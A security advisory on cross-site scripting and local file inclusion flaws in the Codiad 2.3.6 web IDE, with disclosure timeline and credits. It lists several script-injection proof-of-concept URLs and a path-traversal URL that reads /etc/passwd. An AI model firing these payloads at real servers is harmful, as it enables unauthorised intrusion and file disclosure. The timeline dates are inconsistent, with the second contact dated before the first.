LFI and XSS Vulnerabilities in Codiad
Information
Advisory by Netsparker (now Invicti)
Name: LFI & XSS Vulnerability in Codiad
Software: Codiad 2.3.6 and possibly below.
Vendor Homepage: http://codiad.com/
Vulnerability Type: Cross-site Scripting and Local File Inclusion
Severity: Critical
Researcher: Omar Kurt
Advisory Reference: NS-14-029
Description
Codiad is a web-based IDE framework with a small footprint and minimal requirements. The system is still early in development, and while it has been proven extremely stable please be sure have a backup system if you use it in any production work.
Details
Codiad is affected by XSS & LFI vulnerability 2.3.6.
Codiad PoC urls are as follows:
- Cross-site Scripting
http://example.com/codiad/components/market/dialog.php?action=list&type='"--></style></scRipt><scRipt>alert(0x0020FF)</scRipt>¬e=undefined
http://example.com/codiad/components/user/dialog.php?action=password&username='"--></style></scRipt><scRipt>alert(0x00211E)</scRipt>
http://example.com/codiad/components/filemanager/dialog.php?action=create&type=file&path='"--></style></scRipt><scRipt>alert(0x00201A)</scRipt>
http://example.com/codiad/components/project/dialog.php?action=rename&path='"--></style></scRipt><scRipt>alert(0x002BDC)</scRipt>&name=undefined&project_path=3&project_name=undefined
http://example.com/codiad/components/filemanager/dialog.php?action=create&type='"--></style></scRipt><scRipt>alert(0x002B57)</scRipt>&path=3&object_name=Smith
http://example.com/codiad/components/market/dialog.php?action=list&type=undefined¬e='"--></style></scRipt><scRipt>alert(0x002100)</scRipt>
http://example.com/codiad/components/project/dialog.php?action=rename&path=3&name='"--></style></scRipt><scRipt>alert(0x002BDD)</scRipt>&project_path=3&project_name=undefined
http://example.com/codiad/components/filemanager/dialog.php?action=rename&path=3&short_name='"--></style></scRipt><scRipt>alert(0x00203C)</scRipt>
- Local File Inclusion
http://example.com/codiad/components/filemanager/download.php?path=../../../../../../../../../../../etc/passwd&type=undefined
You can read the full article about XSS and LFI vulnerabilities from here:
Advisory Timeline
25/06/2014 – First Contact
07/06/2014 – Second Contact
20/08/2014 – Advisory released
Credits
It has been discovered on testing of Invicti Web Application Security Scanner.
About Invicti
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